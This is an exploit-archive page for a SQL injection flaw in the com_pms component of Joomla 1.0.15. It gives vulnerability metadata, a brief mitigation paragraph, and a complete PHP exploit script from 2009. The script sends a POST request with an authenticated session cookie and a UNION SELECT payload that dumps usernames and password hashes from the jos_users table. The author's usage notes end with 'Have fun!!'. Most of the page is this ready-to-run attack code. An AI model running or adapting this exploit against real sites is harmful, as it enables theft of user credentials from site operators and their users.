Joomla - exploit.company

vendor:

Joomla!

by:

M4dhead

7.5

CVSS

HIGH

SQL-Injection

CWE

Product Name: Joomla!

Affected Version From: Joomla <= 1.0.15

Affected Version To: Joomla <= 1.0.15

Patch Exists: NO

Related CWE:

CPE: a:joomla:joomla!::

Metasploit:

Other Scripts:

Platforms Tested:

Joomla <=1.0.15 Component com_pms <=2.0.4 (Ignore-List) SQL-Injection Vuln

This exploit targets a vulnerability in the com_pms component of Joomla versions <= 1.0.15. The vulnerability allows an attacker to perform SQL injection attacks. The exploit requires a valid account on the target Joomla site with Community Builder Suite 1.1.0 installed. The attacker needs to copy the cookie information of a logged-in user and modify the User-Agent header of the POST request to match the browser used to log in. The exploit can be executed by running the provided script. If successful, the attacker can access the ignore list of the target site and view usernames and passwords.

Mitigation:

To mitigate this vulnerability, it is recommended to update Joomla to a version higher than 1.0.15 and ensure that the magic_quotes_gpc setting is enabled. Additionally, it is advised to regularly monitor and patch any known vulnerabilities in Joomla components.

Source

Exploit-DB raw data:

<?php

/*
--------------------------

Joomla <=1.0.15 Component com_pms <=2.0.4  (Ignore-List) SQl-Injection Vuln

--------------------------

Author: M4dhead

Vulnerable joomla component : com_pms

Conditions        : magic_quotes_gpc = On or Off it doesn't matter ;)

--------------------------

PREPARATION:
--------------------------
You need a valid Account on the Joomla 1.0.15 Site + Community Builder Suite 1.1.0:


Community Builder Suite 1.1.0:
http://www.joomlaos.de/option,com_remository/Itemid,41/func,finishdown/id,1175.html

PMS enhanced Version 2.0.4 J 1.0
http://www.make-website.de/script-downlaods?task=summary&cid=123&catid=214


Install Joomla 1.0.15
Install Community Builder
Install PMS Enhanced
    Activate the Ignorlist in Components->PMS Enhanced->Config
    Tab: Backend -> Ingorlist: Yes


Create a valid User on the target Joomla 1.0.15 System with Community Builder,
login and copy the cookieinformation into the $cookie var below,
adjust the User-Agent on your Post Header dependent on your Browser.


Notice: Pay attention on your User-Agent in the POST Header, it have to be the same as you have logged in,
because the cookie-name is dependent on your browser.
--------------------------

USAGE:
--------------------------
Run this script! If there's not shown a page that prompt you to login, the attack was successful.
Then go to the ignore list: www.yourtargetsite.com/index.php?option=com_pms&Itemid=&page=ignore
and you will see some username and passwords in the selectbox :-)

Have fun!!

----------------------------------------------------
*/


$host = "localhost"; //your target Joomla Site
$cookie = "290cd01070fed63ac53f84f5c91d2bd9=a5846a8c64962e14367d5c7298f6c72c"; //replace this with your own cookie values
$useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13\r\n";

//NOTICE: Pay attention on your User-Agent in the POST Header, it have to be the same as you have logged in,
//because the cookie-name is dependent on your browser.

//Don't change anything below
$path = "/joomla/index.php?option=com_pms&Itemid=&page=ignore"; //dont change this
$data_to_send = "no_entry=keine+Eintr%E4ge&save=Ignorliste+speichern&filter_site_users=alle&ignore_ids=|63, 111 ) AND 1=2 UNION SELECT 1,concat(username,char(0x3a), password),3 from jos_users -- /* |"; //you don't have to change this


print_r($post = PostToHost($host, $path, $cookie, $data_to_send, $useragent));



function PostToHost($host, $path, $cookie, $data_to_send, $useragent) {
  $fp = fsockopen($host, 80);
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "User-Agent: $useragent");
  fputs($fp, "Cookie: $cookie\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ". strlen($data_to_send) ."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $data_to_send);
  while(!feof($fp)) {
      $res .= fgets($fp, 128);
  }
  fclose($fp);

  return $res;
}

?>

# milw0rm.com [2009-08-07]